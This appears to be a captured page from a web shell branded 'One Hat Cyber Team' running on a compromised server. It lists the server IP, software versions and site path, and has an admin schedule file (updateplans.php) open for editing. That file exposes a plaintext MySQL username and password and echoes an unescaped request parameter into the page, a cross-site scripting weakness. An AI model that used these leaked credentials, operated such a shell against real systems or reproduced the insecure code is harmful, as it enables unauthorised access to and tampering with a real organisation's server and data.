One Hat Cyber Team
Your IP :
3.14.152.212
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
sd.electronharmony.com
/
Edit File:
updateplans.php
<?php session_start(); // Check if user is logged in, otherwise redirect to login page if (!isset($_SESSION['user_email'])) { header("Location: login.php"); exit(); } // Check if 'id' parameter is provided if (isset($_GET['id'])) { $id = $_GET['id']; // Database connection configuration $servername = "localhost"; $username = "t001"; $password = "ZRTsRb6Ycp585AEC"; $dbname = "t001"; // Create database connection $conn = new mysqli($servername, $username, $password, $dbname); // Check database connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Handle form submission if ($_SERVER['REQUEST_METHOD'] == 'POST') { // Get form data $monday = $_POST['monday']; $a = $_POST['a']; $tuesday = $_POST['tuesday']; $b = $_POST['b']; $wednesday = $_POST['wednesday']; $c = $_POST['c']; $thursday = $_POST['thursday']; $d = $_POST['d']; $friday = $_POST['friday']; $f = $_POST['f']; $saturday = $_POST['saturday']; $g = $_POST['g']; $sunday = $_POST['sunday']; $h = $_POST['h']; // Prepare update statement $sql = "UPDATE week_days SET monday=?, a=?, tuesday=?, b=?, wednesday=?, c=?, thursday=?, d=?, friday=?, f=?, saturday=?, g=?, sunday=?, h=? WHERE id=?"; $stmt = $conn->prepare($sql); // Check if the statement was prepared successfully if ($stmt === false) { die("Error preparing statement: " . $conn->error); } // Bind parameters to the prepared statement if (!$stmt->bind_param("ssssssssssssssi", $monday, $a, $tuesday, $b, $wednesday, $c, $thursday, $d, $friday, $f, $saturday, $g, $sunday, $h, $id)) { die("Error binding parameters: " . $stmt->error); } // Execute the update if ($stmt->execute()) { // Redirect to works list page after successful update header("Location: works.php"); exit(); } else { echo "Error updating data: " . $stmt->error; } // Close the statement $stmt->close(); } // Query to get the data of the work entry to be edited $sql = "SELECT * FROM week_days WHERE id=?"; $stmt = $conn->prepare($sql); // Bind parameters to the query statement if (!$stmt->bind_param("i", $id)) { die("Error binding parameters: " . $stmt->error); } // Execute the query if (!$stmt->execute()) { die("Error executing query: " . $stmt->error); } // Get the query result $result = $stmt->get_result(); // Check if there is a result if ($result->num_rows > 0) { // Get the first row data (should be only one row) $row = $result->fetch_assoc(); } else { die("No data found for id=$id"); } // Close the statement $stmt->close(); // Close the database connection $conn->close(); } else { die("No ID parameter provided."); } ?> <!DOCTYPE html> <html lang="zxx"> <head> <meta charset="utf-8" /> <meta http-equiv="x-ua-compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0 user-scalable=no" /> <meta name="description" content="Fully Responsive Admin & Dashboard Template" /> <meta name="keyword" content="" /> <meta name="author" content="WRAPCODERS" /> <!--! The above 6 meta tags *must* come first in the head; any other head content must come *after* these tags !--> <!--! BEGIN: Google Fonts !--> <link rel="preconnect" href="https://fonts.googleapis.com" /> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&family=Public+Sans:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet" /> <!--! END: Google Fonts !--> <!--! BEGIN: Favicon !--> <link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.ico" /> <!--! END: Favicon !--> <!--! BEGIN: Apps Title !--> <title>修改数据</title> <!--! END: Apps Title !--> <!--! BEGIN: MatisMenu CSS !--> <link rel="stylesheet" href="assets/vendors/metismenu/metisMenu.min.css"> <!--! END: MatisMenu CSS !--> <!--! BEGIN: Flaticon CSS !--> <link rel="stylesheet" href="assets/vendors/@flaticon/flaticon-uicons/css/all/all.css"> <!--! END: Flaticon CSS !--> <!--! BEGIN: Theme CSS !--> <link rel="stylesheet" type="text/css" href="assets/css/theme.min.css"> <!--! END: Theme CSS !--> <!--! Start:: Color Modes JS !--> <script src="assets/js/color-modes.min.js"></script> <!--! End:: Color Modes JS !--> <!--! HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries !--> <!--! WARNING: Respond.js doesn"t work if you view the page via file: !--> <!--[if lt IE 9]> <script src="https:oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https:oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <!--! ================================================================ !--> <!--! Start:: Main Wrapper !--> <!--! ================================================================ !--> <div class="main-wrapper"> <!--! ================================================================ !--> <!--! Start:: Main Menu !--> <!--! ================================================================ !--> <?php include 'view/aside.php'; ?> <!--! ================================================================ !--> <!--! End:: Main Menu !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Main Content !--> <!--! ================================================================ !--> <main id="edash-main"> <!--! ================================================================ !--> <!--! Start:: Header !--> <!--! ================================================================ !--> <?php include 'view/header.php'; ?> <!--! ================================================================ !--> <!--! End:: Header !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Page Content !--> <!--! ================================================================ !--> <div class="edash-page-container container-xxl" id="edash-page-container" > <!--! Start:: Breadcumb !--> <div class="edash-content-breadcumb row mb-4 mb-md-6 pt-md-2"> <div class="col-12"> <div class="d-flex align-items-center justify-content-between"> <div> <h2 class="h4 fw-semibold text-dark">排班表</h2> <nav aria-label="breadcrumb"> <ol class="breadcrumb mb-0"> <li class="breadcrumb-item"> <a href="index,php">首页</a> </li> <li class="breadcrumb-item"> <a href="works.php">排班表</a> </li> <li class="breadcrumb-item active" aria-current="page"> 修改数据 </li> </ol> </nav> </div> <div class="d-flex align-items-center gap-2"> <a href="deleteplans.php?id=<?php echo $id; ?>" class="btn btn-md btn-soft-danger" onclick="return confirm('确定要删除吗?')" target="_blank">删除</a> </div> </div> </div> </div> <!--! End:: Breadcumb !--> <!--! Start:: Content Section !--> <div class="edash-content-section row g-3 g-md-4"> <!-- Start:: Elements --> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">修改数据</h4> </div> <div class="card-body"> <form class="was-validated" action="" method="post"> <div class="mb-3"> <label class="form-label">Monday</label> <input class="form-control" type="hidden" name="id" value="<?php echo htmlspecialchars($row['id']); ?>"/> <input type="text" class="form-control" id="monday" name="monday" value="<?php echo htmlspecialchars($row['monday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">STATUS</label> <select class="form-select" id="a" name="a"> <option value="AM" <?php echo ($row['a'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['a'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['a'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['a'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <label class="form-label">Tuesday</label> <input type="text" class="form-control" id="tuesday" name="tuesday" value="<?php echo htmlspecialchars($row['tuesday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">Status</label> <select class="form-select" id="b" name="b"> <option value="AM" <?php echo ($row['b'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['b'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['b'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['b'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <label class="form-label">Wednesday</label> <input type="text" class="form-control" id="wednesday" name="wednesday" value="<?php echo htmlspecialchars($row['wednesday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">STATUS</label> <select class="form-select" id="c" name="c"> <option value="AM" <?php echo ($row['c'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['c'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['c'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['c'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <label class="form-label">Thursday</label> <input type="text" class="form-control" id="thursday" name="thursday" value="<?php echo htmlspecialchars($row['thursday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">STATUS</label> <select class="form-select" id="d" name="d"> <option value="AM" <?php echo ($row['d'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['d'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['d'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['d'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <label class="form-label">Friday</label> <input type="text" class="form-control" id="friday" name="friday" value="<?php echo htmlspecialchars($row['friday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">STATUS</label> <select class="form-select" id="f" name="f"> <option value="AM" <?php echo ($row['f'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['f'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['f'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['f'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <label class="form-label">Saturday</label> <input type="text" class="form-control" id="saturday" name="saturday" value="<?php echo htmlspecialchars($row['saturday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">STATUS</label> <select class="form-select" id="g" name="g"> <option value="AM" <?php echo ($row['g'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['g'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['g'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['g'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <label class="form-label">Sunday</label> <input type="text" class="form-control" id="sunday" name="sunday" value="<?php echo htmlspecialchars($row['sunday']); ?>" required/> </div> <div class="mb-3"> <label for="validationCustom04" class="form-label">STATUS</label> <select class="form-select" id="h" name="h"> <option value="AM" <?php echo ($row['h'] === 'AM') ? 'selected' : ''; ?>>AM</option> <option value="PM" <?php echo ($row['h'] === 'PM') ? 'selected' : ''; ?>>PM</option> <option value="OFF" <?php echo ($row['h'] === 'OFF') ? 'selected' : ''; ?>>OFF</option> <option value="请假" <?php echo ($row['h'] === '请假') ? 'selected' : ''; ?>>请假</option> </select> </div> <div class="mb-3"> <button class="btn btn-primary" type="submit">提交修改</button> </div> </form> </div> </div> </div> <!-- End:: Elements --> </div> <!--! End:: Content Section !--> </div> <!--! ================================================================ !--> <!--! End:: Page Content !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Footer !--> <!--! ================================================================ !--> <footer class="edash-footer-container container-xxl d-flex align-items-center justify-content-between rounded-3 p-4 mx-auto mb-3 ht-64 bg-body-tertiary" id="edash-footer-container" > <div class="hstack"> <span class="text-muted"> <script> document.write(new Date().getFullYear()); </script> © </span> <span class="vr mx-2 bg-body-secondary"></span> <a>Expodash</a> </div> <!--! ======================= <div class="d-flex align-items-center gap-3"> <a href="./../../docs/documentation.html" target="_blank" class="d-none d-sm-block" >Docs</a > <a href="wrapcoders@gmail.com" target="_blank" class="d-none d-sm-block" >About</a > <a href="wrapcoders@gmail.com" target="_blank">Support</a> <a href="https://codecanyon.net/item/expodash-bootstrap-5-admin-dashboard-template/52160996" target="_blank" >Purchase</a > </div> ========= !--> </footer> <!--! ================================================================ !--> <!--! End:: Footer !--> <!--! ================================================================ !--> </main> <!--! ================================================================ !--> <!--! End:: Main Content !--> <!--! ================================================================ !--> <div class="edash-menu-backdrop" id="edash-menu-hide"></div> </div> <!--! ================================================================ !--> <!--! End:: Main Wrapper !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Footer Script !--> <!--! ================================================================ !--> <!--! BEGIN: Common Vendors !--> <script src="assets/js/vendors.min.js"></script> <!--! END: Common Vendors !--> <!--! BEGIN: Apps Common Init !--> <script src="assets/js/common-init.min.js"></script> <!--! END: Apps Common Init !--> <!--! BEGIN: Page Vendors -!--> <!--! END: Page Vendors -!--> <script> // Example starter JavaScript for disabling form submissions if there are invalid fields (() => { "use strict"; // Fetch all the forms we want to apply custom Bootstrap validation styles to const forms = document.querySelectorAll(".needs-validation"); // Loop over them and prevent submission Array.from(forms).forEach((form) => { form.addEventListener( "submit", (event) => { if (!form.checkValidity()) { event.preventDefault(); event.stopPropagation(); } form.classList.add("was-validated"); }, false ); }); })(); </script> </body> </html>
Simpan